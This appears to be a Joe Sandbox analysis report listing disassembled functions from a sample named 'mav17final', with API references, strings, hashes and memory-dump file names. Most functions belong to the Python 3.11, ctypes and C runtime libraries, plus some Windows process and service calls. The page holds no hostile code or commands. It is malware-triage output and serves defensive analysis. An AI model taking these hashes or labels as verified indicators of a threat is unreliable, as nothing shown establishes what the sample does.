Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: Module_$FromModuleSpecTypeType_$State
String ID:
API String ID: 1138651315-0
Opcode ID: 61a4d07700435b38e5979996beba01b9920bec42d73c56830fb738b2919386a3
Instruction ID: 48f9f0078286860a344894121c7ba705a8a8d83905a989fc4b3f1e70f7233cdf
Opcode Fuzzy Hash: 61a4d07700435b38e5979996beba01b9920bec42d73c56830fb738b2919386a3
Instruction Fuzzy Hash: 62017521B1AB8281EE548F5AB55833A63B9BF48BD0B548535DF5D47B64EF3CE04AC700

Function 00007FF8B9F6DE38 Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON311 ref: 00007FF8B9F6DE50
PyObject_CallOneArg.PYTHON311 ref: 00007FF8B9F6DE61
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F6DE69
PyObject_CallOneArg.PYTHON311 ref: 00007FF8B9F6DE8D
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6DE9F

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: CallObject_$DeallocDict_Err_ErrorItemOccurredWith
String ID:
API String ID: 4058657591-0
Opcode ID: 1a35c4ab6dce3baf8b5148636fef7374f6697dae909102b08545470e9d818853
Instruction ID: 338205961e782591d771dda3203368910087664ee214d47764c1e127af756c27
Opcode Fuzzy Hash: 1a35c4ab6dce3baf8b5148636fef7374f6697dae909102b08545470e9d818853
Instruction Fuzzy Hash: 28014F61B0AB8381EF585F2AED181395291AF69FE2F1DA035CB4E47754DE3CE440D310

Function 00007FF8B90C243C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90CB2DB

Strings

final combined CRC = 0x%08x , xrefs: 00007FF8B90CB313
block %d: crc = 0x%08x, combined CRC = 0x%08x, size = %d, xrefs: 00007FF8B90CB2E6

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: __acrt_iob_func
String ID: block %d: crc = 0x%08x, combined CRC = 0x%08x, size = %d$ final combined CRC = 0x%08x
API String ID: 711238415-3357347091
Opcode ID: 943b634fa9d07ff961db70dbb74d68f24273f83e3e6fcba7a578889a90a7400e
Instruction ID: 39e69bb5f4a6a21947f66bb4efb0ec0210a8471dbc2008da6e338abbd0825069
Opcode Fuzzy Hash: 943b634fa9d07ff961db70dbb74d68f24273f83e3e6fcba7a578889a90a7400e
Instruction Fuzzy Hash: 8D61723671829297EB10AE1EA4496A97771BB49BC4F545034DF4A0B796CE3DE44BCB00

Function 00007FF8BA244288 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BA2469C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BA2425CE), ref: 00007FF8BA2469CE

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA244407

Strings

csm, xrefs: 00007FF8BA2442D7
csm, xrefs: 00007FF8BA244441
, xrefs: 00007FF8BA244358

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: abort
String ID: $csm$csm
API String ID: 4206212132-1512788406
Opcode ID: 0334d4e6c50ab9b6f685e521b3ae1a91d89b048a29f68cf2dce9c00bf400fe87
Instruction ID: 43baa152bc1cbf69ecb212e5fbc6b8e116765c8f3971363e93cbc9a2808c560d
Opcode Fuzzy Hash: 0334d4e6c50ab9b6f685e521b3ae1a91d89b048a29f68cf2dce9c00bf400fe87
Instruction Fuzzy Hash: F871907290869287DB608F29D0606B9BBA0FB44FC9F148176DF4E47A89CF3CE591DB41

Function 00007FF8BA244060 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BA2469C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BA2425CE), ref: 00007FF8BA2469CE

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA244157
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF8BA244167

Strings

csm, xrefs: 00007FF8BA2441B9
csm, xrefs: 00007FF8BA2440AA

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Frameabort$EmptyHandler3::StateUnwind
String ID: csm$csm
API String ID: 4108983575-3733052814
Opcode ID: d96c539858820a31a9c1340fe1861477bc26c032fcc487563b75466d3052f7d1
Instruction ID: 2a4c82e154c53a732dc0b4a88c60755b5119c69a788689a496f71e65bf8d4648
Opcode Fuzzy Hash: d96c539858820a31a9c1340fe1861477bc26c032fcc487563b75466d3052f7d1
Instruction Fuzzy Hash: F4516B369086838BEF648B19945426876A0FB95FD9F1482B6DF9C47B95CF3CE460EB00

Function 00007FF8BA24F050 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF8BA24F110
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FF8BA24EE15), ref: 00007FF8BA24F15F

Strings

f, xrefs: 00007FF8BA24F08E
csm, xrefs: 00007FF8BA24F0F6

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind
String ID: csm$f
API String ID: 451473138-629598281
Opcode ID: 94627d9c7195f9c36ee16ac86650ab8a4e652cd15aa300a0b5f08846187e0d97
Instruction ID: 1114db755bc37b8e0267fe36605ed7157ca1bb73eb2c1e32dd4b148571c1976a
Opcode Fuzzy Hash: 94627d9c7195f9c36ee16ac86650ab8a4e652cd15aa300a0b5f08846187e0d97
Instruction Fuzzy Hash: 2151CF36A096038AEB14CF19E844A6937A5FB84FC8F1181B1DF1E47788DF79E945E700

Function 00007FF8BA24AAD8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FF8BA24AB32

Strings

%lf, xrefs: 00007FF8BA24AB6D, 00007FF8BA24ABA1, 00007FF8BA24ABD1

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: NameName::
String ID: %lf
API String ID: 1333004437-2891890143
Opcode ID: ce39b8ddb33b1742c1c733f8d1258caa8bc8f3cdabe38b30e72aebe8897d44a3
Instruction ID: 787042ffa3c2d194841d402d6ce29eb4f43f7115b2df6121b0a852d30c74507c
Opcode Fuzzy Hash: ce39b8ddb33b1742c1c733f8d1258caa8bc8f3cdabe38b30e72aebe8897d44a3
Instruction Fuzzy Hash: A6318021A0CA8785FA11DB2AE9510B9B3A1BF59FC0F4882B6EF5E47791DF3CE1059700

Function 00007FF8B9F61904 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsInstance.PYTHON311 ref: 00007FF8B9F6193A
PyErr_SetString.PYTHON311 ref: 00007FF8B9F66B72
PyObject_IsSubclass.PYTHON311 ref: 00007FF8B9F66BB1

Strings

abstract class, xrefs: 00007FF8B9F66B68

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Object_$Err_InstanceStringSubclass
String ID: abstract class
API String ID: 1122563627-1623945838
Opcode ID: 6c7db8fb0eb44c7424908bf4032845ff0e9bfd72eafbca4c076b0be6399d20a6
Instruction ID: 892e40e1b204777bb6f18dd536cd06262711d11435ec08cd6f84d9d3a902f081
Opcode Fuzzy Hash: 6c7db8fb0eb44c7424908bf4032845ff0e9bfd72eafbca4c076b0be6399d20a6
Instruction Fuzzy Hash: 8D211A60B0CBC782FA509F6EE8500792764AF86BE6F18B531DB0E563A6DE6CE455C300

Function 00007FF8B9F6A8D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F6A91B
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6A999
memcpy.VCRUNTIME140 ref: 00007FF8B9F6A9AC

Strings

abstract class, xrefs: 00007FF8B9F6A911

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: DeallocErr_Stringmemcpy
String ID: abstract class
API String ID: 4155950771-1623945838
Opcode ID: 39caa09f7d9a9fa5dd63c26db85cad3ebfb1af8ff0279c48b353af220d1a1222
Instruction ID: 5788d4e464e31a3bfc39fdc32dda9fa6aac53d8f7837e4ee086590413fb9ebd3
Opcode Fuzzy Hash: 39caa09f7d9a9fa5dd63c26db85cad3ebfb1af8ff0279c48b353af220d1a1222
Instruction Fuzzy Hash: FE217832A19B8182EB548F2AE84016973A4FB8AFE5F2A6135DF4D07758CF3CE461C340

Function 00007FF8B9078FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32 ref: 00007FF8B9079072
CloseServiceHandle.ADVAPI32 ref: 00007FF8B90790A0

Strings

ControlService, xrefs: 00007FF8B9079091

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Service$CloseControlHandle
String ID: ControlService
API String ID: 3384881392-253159669
Opcode ID: 9db97aeadb2ef5c283a3316fb4a48aa353463d3e294c4c51911b327c708cc174
Instruction ID: c1eddd2e624e26be99e69631d8929f9c5132892b5c64ee10bdbcf4b85662d670
Opcode Fuzzy Hash: 9db97aeadb2ef5c283a3316fb4a48aa353463d3e294c4c51911b327c708cc174
Instruction Fuzzy Hash: 1721F121B1CBC682EE509F29A85527977A1FFA9BE0F440035DB4D43B55EE3CE1078740

Function 00007FF8B9074179 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

VirtualQueryEx.KERNEL32 ref: 00007FF8B9074203
CloseHandle.KERNEL32 ref: 00007FF8B9074215
CloseHandle.KERNEL32 ref: 00007FF8B9074254

Strings

xrw, xrefs: 00007FF8B9074179
(KsOI), xrefs: 00007FF8B9074197

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$QueryVirtual
String ID: (KsOI)$xrw
API String ID: 3966390079-822595024
Opcode ID: f2e8e81b5692cf2329b007ce33bbd7a4970240b0eeb7c7e7c94e4f335722289f
Instruction ID: ad9fba8a4c145bdbeb87aaa254c2a1c31ea4a53d8f808b112880d6391e7036bf
Opcode Fuzzy Hash: f2e8e81b5692cf2329b007ce33bbd7a4970240b0eeb7c7e7c94e4f335722289f
Instruction Fuzzy Hash: 8C111C25A0DAC681EE649F6AA8543797761BF64BE5F444031CF4E47754EE3CE0178700

Function 00007FF8B9074182 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

VirtualQueryEx.KERNEL32 ref: 00007FF8B9074203
CloseHandle.KERNEL32 ref: 00007FF8B9074215
CloseHandle.KERNEL32 ref: 00007FF8B9074254

Strings

xwc, xrefs: 00007FF8B9074182
(KsOI), xrefs: 00007FF8B9074197

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$QueryVirtual
String ID: (KsOI)$xwc
API String ID: 3966390079-1454042600
Opcode ID: 021ddd8d92928ce44b5d51787a319246aa52be3e86ce24aaf570718d96fea167
Instruction ID: 45dc86909514b35ba75d6d820a50f3e347f602409f8e6d1c349659acf07b4f93
Opcode Fuzzy Hash: 021ddd8d92928ce44b5d51787a319246aa52be3e86ce24aaf570718d96fea167
Instruction Fuzzy Hash: CE111C25A0DAC685EE649F6AA8543797761BF64BE5F444031CF4E47754EE3CE0178700

Function 00007FF8B9F6402C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9F63A00: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B9F63A4B

PyUnicode_FromStringAndSize.PYTHON311 ref: 00007FF8B9F64090

Strings

ctypes object structure too deep, xrefs: 00007FF8B9F68B7B
:%x, xrefs: 00007FF8B9F68B5D

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: FromSizeStringUnicode___stdio_common_vsprintf
String ID: :%x$ctypes object structure too deep
API String ID: 1484205955-3091822184
Opcode ID: 2459c21495d6783b8173aaa301187f361a2d8e91fe46e9680da2c72f9c63c0db
Instruction ID: b1d17c1c618baeab2717fb3c73f5a25f0dfc91bb6627b3445d4d3ba5f566185a
Opcode Fuzzy Hash: 2459c21495d6783b8173aaa301187f361a2d8e91fe46e9680da2c72f9c63c0db
Instruction Fuzzy Hash: 52212C32B18BC691EA20CF19E4502AA67A0FB887E5F845135DB8E47765DF3CE645CB40

Function 00007FF8B9F6A840 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

PySys_Audit.PYTHON311 ref: 00007FF8B9F6A866
PyErr_SetString.PYTHON311 ref: 00007FF8B9F6A891

Strings

ctypes.cdata, xrefs: 00007FF8B9F6A858
abstract class, xrefs: 00007FF8B9F6A887

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: AuditErr_StringSys_
String ID: abstract class$ctypes.cdata
API String ID: 1384585920-3531133667
Opcode ID: 9146581257e5cd249a8ce15bd5017c0ced05df42edf8eab21e35891fecd2194b
Instruction ID: ed408948b1cbc0b5cc477362cb03871f2ae2e91653de531e952a9c11e6a53365
Opcode Fuzzy Hash: 9146581257e5cd249a8ce15bd5017c0ced05df42edf8eab21e35891fecd2194b
Instruction Fuzzy Hash: 6D010921B19B8281EB858F2AE8901797BA0FF88BE6F499435DB4D97764DF2CD155C300

Function 00007FF8B9F63E98 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

PyBytes_AsString.PYTHON311 ref: 00007FF8B9F63EC5
PyLong_AsUnsignedLongLongMask.PYTHON311 ref: 00007FF8B9F63EEC

Strings

bytes or integer address expected instead of %s instance, xrefs: 00007FF8B9F68AEB

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Long$Bytes_Long_MaskStringUnsigned
String ID: bytes or integer address expected instead of %s instance
API String ID: 3464282214-706233300
Opcode ID: c48ceac9eea2b1fa827f2cbb00a6abdd9340ea2753a13b5f87d6d5264b647cc5
Instruction ID: edffa2b1c30c78594543c294e21d8fec2a38e5efde2d57eaf8c27a711a48dc6a
Opcode Fuzzy Hash: c48ceac9eea2b1fa827f2cbb00a6abdd9340ea2753a13b5f87d6d5264b647cc5
Instruction Fuzzy Hash: 6B012976A09F8682EB409F1DE8502382770BF59BEAF54A532CB4E47310CE7CE495C300

Function 00007FF8B9F64F04 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

PyUnicode_AsUTF8.PYTHON311 ref: 00007FF8B9F64F39
PyLong_AsUnsignedLongMask.PYTHON311 ref: 00007FF8B9F691C0
PyErr_SetString.PYTHON311 ref: 00007FF8B9F691F5

Strings

function name must be string, bytes object or integer, xrefs: 00007FF8B9F691EB

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_LongLong_MaskStringUnicode_Unsigned
String ID: function name must be string, bytes object or integer
API String ID: 2115587880-3177123413
Opcode ID: 81ea3209a1b354214586730592f4c670ad1da60d41d4e62eb4eacb33d520f56b
Instruction ID: 108042ec6becd1b2795ad8170321ef71fd5ef63a055e5754077cc018d31b68b2
Opcode Fuzzy Hash: 81ea3209a1b354214586730592f4c670ad1da60d41d4e62eb4eacb33d520f56b
Instruction Fuzzy Hash: F801A922F29B8681FB655F6ED8545782291EF49BE6F149030C74D877A1DE3C5495C300

Function 00007FF8B9F6DD4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

PySys_Audit.PYTHON311 ref: 00007FF8B9F6DD59
PyLong_FromLong.PYTHON311 ref: 00007FF8B9F6DDA4
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6DDB6

Strings

ctypes.get_errno, xrefs: 00007FF8B9F6DD52

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: AuditDeallocFromLongLong_Sys_
String ID: ctypes.get_errno
API String ID: 2276389247-2892954555
Opcode ID: c6ace954750aef6584acdef0dbafe0f2db3ad2dcd629e74672a8309c43f57945
Instruction ID: f39c2436afebe1381fd0534441913cf41019ebf159e8e3f963105f558480ad81
Opcode Fuzzy Hash: c6ace954750aef6584acdef0dbafe0f2db3ad2dcd629e74672a8309c43f57945
Instruction Fuzzy Hash: 18F0A921F19BC2C1EA449F2AED4457966A1EF85BE6F482034DB4E43754DF3CE580D700

Function 00007FF8B9F6DDCC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

PyLong_FromLong.PYTHON311 ref: 00007FF8B9F6DDA4
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6DDB6
PySys_Audit.PYTHON311 ref: 00007FF8B9F6DDD9

Strings

ctypes.get_last_error, xrefs: 00007FF8B9F6DDD2

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: AuditDeallocFromLongLong_Sys_
String ID: ctypes.get_last_error
API String ID: 2276389247-1232113872
Opcode ID: 853979658a44e765c27009c70b8a62aa63505b1bac88553f7faa954c15010c56
Instruction ID: 2dca03efcb226a62503ba3d8b0ce75bb243a40b378c09507b32c69cec83633a3
Opcode Fuzzy Hash: 853979658a44e765c27009c70b8a62aa63505b1bac88553f7faa954c15010c56
Instruction Fuzzy Hash: 61F08661B19BC281EA44AF2AED5417866A1EF95BE6F481034DB0E42754DE2CE580D700

Function 00007FF8B9078140 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(?,?,?,00007FF8B907408D), ref: 00007FF8B907816B
GetLastError.KERNEL32(?,?,?,00007FF8B907408D), ref: 00007FF8B9078179

Strings

automatically set for PID 0, xrefs: 00007FF8B907814E
OpenProcess, xrefs: 00007FF8B9078184

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
